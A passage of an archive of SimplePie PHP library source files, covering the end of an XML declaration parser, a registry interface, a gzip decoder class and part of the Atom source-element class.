            $this->state = self::STATE_ERROR;
        }
    }

    public function version_name()
    {
        if (substr($this->data, $this->position, 7) === 'version') {
            $this->position += 7;
            $this->skip_whitespace();
            $this->state = self::STATE_VERSION_EQUALS;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_equals()
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_VERSION_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function version_value()
    {
        if ($this->version = $this->get_value()) {
            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_ENCODING_NAME;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function encoding_name()
    {
        if (substr($this->data, $this->position, 8) === 'encoding') {
            $this->position += 8;
            $this->skip_whitespace();
            $this->state = self::STATE_ENCODING_EQUALS;
        } else {
            $this->state = self::STATE_STANDALONE_NAME;
        }
    }

    public function encoding_equals()
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_ENCODING_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function encoding_value()
    {
        if ($this->encoding = $this->get_value()) {
            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_STANDALONE_NAME;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_name()
    {
        if (substr($this->data, $this->position, 10) === 'standalone') {
            $this->position += 10;
            $this->skip_whitespace();
            $this->state = self::STATE_STANDALONE_EQUALS;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_equals()
    {
        if (substr($this->data, $this->position, 1) === '=') {
            $this->position++;
            $this->skip_whitespace();
            $this->state = self::STATE_STANDALONE_VALUE;
        } else {
            $this->state = self::STATE_ERROR;
        }
    }

    public function standalone_value()
    {
        if ($standalone = $this->get_value()) {
            switch ($standalone) {
                case 'yes':
                    $this->standalone = true;
                    break;

                case 'no':
                    $this->standalone = false;
                    break;

                default:
                    $this->state = self::STATE_ERROR;
                    return;
            }

            $this->skip_whitespace();
            if ($this->has_data()) {
                $this->state = self::STATE_ERROR;
            } else {
                $this->state = self::STATE_EMIT;
            }
        } else {
            $this->state = self::STATE_ERROR;
        }
    }
}

class_alias('SimplePie\XML\Declaration\Parser', 'SimplePie_XML_Declaration_Parser');
src/RegistryAware.php000064400000004553151024210710010634 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2022 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles the injection of Registry into other class
 *
 * {@see \SimplePie\SimplePie::get_registry()}
 *
 * @package SimplePie
 */
interface RegistryAware
{
    /**
     * Set the Registry into the class
     *
     * @param Registry $registry
     *
     * @return void
     */
    public function set_registry(Registry $registry)/* : void */;
}
src/Gzdecode.php000064400000023754151024210710007574 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Decode 'gzip' encoded HTTP data
 *
 * @package SimplePie
 * @subpackage HTTP
 * @link http://www.gzip.org/format.txt
 */
class Gzdecode
{
    /**
     * Compressed data
     *
     * @access private
     * @var string
     * @see gzdecode::$data
     */
    public $compressed_data;

    /**
     * Size of compressed data
     *
     * @access private
     * @var int
     */
    public $compressed_size;

    /**
     * Minimum size of a valid gzip string
     *
     * @access private
     * @var int
     */
    public $min_compressed_size = 18;

    /**
     * Current position of pointer
     *
     * @access private
     * @var int
     */
    public $position = 0;

    /**
     * Flags (FLG)
     *
     * @access private
     * @var int
     */
    public $flags;

    /**
     * Uncompressed data
     *
     * @access public
     * @see gzdecode::$compressed_data
     * @var string
     */
    public $data;

    /**
     * Modified time
     *
     * @access public
     * @var int
     */
    public $MTIME;

    /**
     * Extra Flags
     *
     * @access public
     * @var int
     */
    public $XFL;

    /**
     * Operating System
     *
     * @access public
     * @var int
     */
    public $OS;

    /**
     * Subfield ID 1
     *
     * @access public
     * @see gzdecode::$extra_field
     * @see gzdecode::$SI2
     * @var string
     */
    public $SI1;

    /**
     * Subfield ID 2
     *
     * @access public
     * @see gzdecode::$extra_field
     * @see gzdecode::$SI1
     * @var string
     */
    public $SI2;

    /**
     * Extra field content
     *
     * @access public
     * @see gzdecode::$SI1
     * @see gzdecode::$SI2
     * @var string
     */
    public $extra_field;

    /**
     * Original filename
     *
     * @access public
     * @var string
     */
    public $filename;

    /**
     * Human readable comment
     *
     * @access public
     * @var string
     */
    public $comment;

    /**
     * Don't allow anything to be set
     *
     * @param string $name
     * @param mixed $value
     */
    public function __set($name, $value)
    {
        throw new Exception("Cannot write property $name");
    }

    /**
     * Set the compressed string and related properties
     *
     * @param string $data
     */
    public function __construct($data)
    {
        $this->compressed_data = $data;
        $this->compressed_size = strlen($data);
    }

    /**
     * Decode the GZIP stream
     *
     * @return bool Successfulness
     */
    public function parse()
    {
        if ($this->compressed_size >= $this->min_compressed_size) {
            $len = 0;

            // Check ID1, ID2, and CM
            if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") {
                return false;
            }

            // Get the FLG (FLaGs)
            $this->flags = ord($this->compressed_data[3]);

            // FLG bits above (1 << 4) are reserved
            if ($this->flags > 0x1F) {
                return false;
            }

            // Advance the pointer after the above
            $this->position += 4;

            // MTIME
            $mtime = substr($this->compressed_data, $this->position, 4);
            // Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness
            if (current(unpack('S', "\x00\x01")) === 1) {
                $mtime = strrev($mtime);
            }
            $this->MTIME = current(unpack('l', $mtime));
            $this->position += 4;

            // Get the XFL (eXtra FLags)
            $this->XFL = ord($this->compressed_data[$this->position++]);

            // Get the OS (Operating System)
            $this->OS = ord($this->compressed_data[$this->position++]);

            // Parse the FEXTRA
            if ($this->flags & 4) {
                // Read subfield IDs
                $this->SI1 = $this->compressed_data[$this->position++];
                $this->SI2 = $this->compressed_data[$this->position++];

                // SI2 set to zero is reserved for future use
                if ($this->SI2 === "\x00") {
                    return false;
                }

                // Get the length of the extra field
                $len = current(unpack('v', substr($this->compressed_data, $this->position, 2)));
                $this->position += 2;

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 4;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the extra field to the given data
                    $this->extra_field = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len;
                } else {
                    return false;
                }
            }

            // Parse the FNAME
            if ($this->flags & 8) {
                // Get the length of the filename
                $len = strcspn($this->compressed_data, "\x00", $this->position);

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 1;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the original filename to the given string
                    $this->filename = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len + 1;
                } else {
                    return false;
                }
            }

            // Parse the FCOMMENT
            if ($this->flags & 16) {
                // Get the length of the comment
                $len = strcspn($this->compressed_data, "\x00", $this->position);

                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 1;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Set the original comment to the given string
                    $this->comment = substr($this->compressed_data, $this->position, $len);
                    $this->position += $len + 1;
                } else {
                    return false;
                }
            }

            // Parse the FHCRC
            if ($this->flags & 2) {
                // Check the length of the string is still valid
                $this->min_compressed_size += $len + 2;
                if ($this->compressed_size >= $this->min_compressed_size) {
                    // Read the CRC
                    $crc = current(unpack('v', substr($this->compressed_data, $this->position, 2)));

                    // Check the CRC matches
                    if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) {
                        $this->position += 2;
                    } else {
                        return false;
                    }
                } else {
                    return false;
                }
            }

            // Decompress the actual data
            if (($this->data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) {
                return false;
            }

            $this->position = $this->compressed_size - 8;

            // Check CRC of data
            $crc = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
            $this->position += 4;
            /*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc))
            {
                return false;
            }*/

            // Check ISIZE of data
            $isize = current(unpack('V', substr($this->compressed_data, $this->position, 4)));
            $this->position += 4;
            if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) {
                return false;
            }

            // Wow, against all odds, we've actually got a valid gzip string
            return true;
        }

        return false;
    }
}

class_alias('SimplePie\Gzdecode', 'SimplePie_gzdecode');
src/Source.php000064400000057305151024210710007307 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Handles `<atom:source>`
 *
 * Used by {@see \SimplePie\Item::get_source()}
 *
 * This class can be overloaded with {@see \SimplePie::set_source_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Source implements RegistryAware
{
    public $item;
    public $data = [];
    protected $registry;

    public function __construct($item, $data)
    {
        $this->item = $item;
        $this->data = $data;
    }

    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    public function __toString()
    {
        return md5(serialize($this->data));
    }

    public function get_source_tags($namespace, $tag)
    {
        if (isset($this->data['child'][$namespace][$tag])) {
            return $this->data['child'][$namespace][$tag];
        }

        return null;
    }

    public function get_base($element = [])
    {
        return $this->item->get_base($element);
    }

    public function sanitize($data, $type, $base = '')
    {
        return $this->item->sanitize($data, $type, $base);
    }

    public function get_item()
    {
        return $this->item;
    }

    public function get_title()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
        }

        return null;
    }

    public function get_category($key = 0)
    {
        $categories = $this->get_categories();
        if (isset($categories[$key])) {
            return $categories[$key];
        }

        return null;
    }

    public function get_categories()
    {
        $categories = [];

        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'category') as $category) {
            $term = null;
            $scheme = null;
            $label = null;
            if (isset($category['attribs']['']['term'])) {
                $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['scheme'])) {
                $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($category['attribs']['']['label'])) {
                $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'category') as $category) {
            // This is really the label, but keep this as the term also for BC.
            // Label will also work on retrieving because that falls back to term.
            $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            if (isset($category['attribs']['']['domain'])) {
                $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            } else {
                $scheme = null;
            }
            $categories[] = $this->registry->create(Category::class, [$term, $scheme, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'subject') as $category) {
            $categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($categories)) {
            return array_unique($categories);
        }

        return null;
    }

    public function get_author($key = 0)
    {
        $authors = $this->get_authors();
        if (isset($authors[$key])) {
            return $authors[$key];
        }

        return null;
    }

    public function get_authors()
    {
        $authors = [];
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        if ($author = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) {
            $authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
        }

        if (!empty($authors)) {
            return array_unique($authors);
        }

        return null;
    }

    public function get_contributor($key = 0)
    {
        $contributors = $this->get_contributors();
        if (isset($contributors[$key])) {
            return $contributors[$key];
        }

        return null;
    }

    public function get_contributors()
    {
        $contributors = [];
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
            $name = null;
            $uri = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
                $uri = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $uri !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
            }
        }
        foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
            $name = null;
            $url = null;
            $email = null;
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
                $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
                $url = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]));
            }
            if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
                $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
            }
            if ($name !== null || $email !== null || $url !== null) {
                $contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
            }
        }

        if (!empty($contributors)) {
            return array_unique($contributors);
        }

        return null;
    }

    public function get_link($key = 0, $rel = 'alternate')
    {
        $links = $this->get_links($rel);
        if (isset($links[$key])) {
            return $links[$key];
        }

        return null;
    }

    /**
     * Added for parity between the parent-level and the item/entry-level.
     */
    public function get_permalink()
    {
        return $this->get_link(0);
    }

    public function get_links($rel = 'alternate')
    {
        if (!isset($this->data['links'])) {
            $this->data['links'] = [];
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link')) {
                foreach ($links as $link) {
                    if (isset($link['attribs']['']['href'])) {
                        $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
                        $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
                    }
                }
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }
            if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) {
                $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
            }

            $keys = array_keys($this->data['links']);
            foreach ($keys as $key) {
                if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
                    if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
                        $this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
                    } else {
                        $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
                    }
                } elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
                    $this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
                }
                $this->data['links'][$key] = array_unique($this->data['links'][$key]);
            }
        }

        if (isset($this->data['links'][$rel])) {
            return $this->data['links'][$rel];
        }

        return null;
    }

    public function get_description()
    {
        if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'subtitle')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'tagline')) {
            return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
        } elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) {
            return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
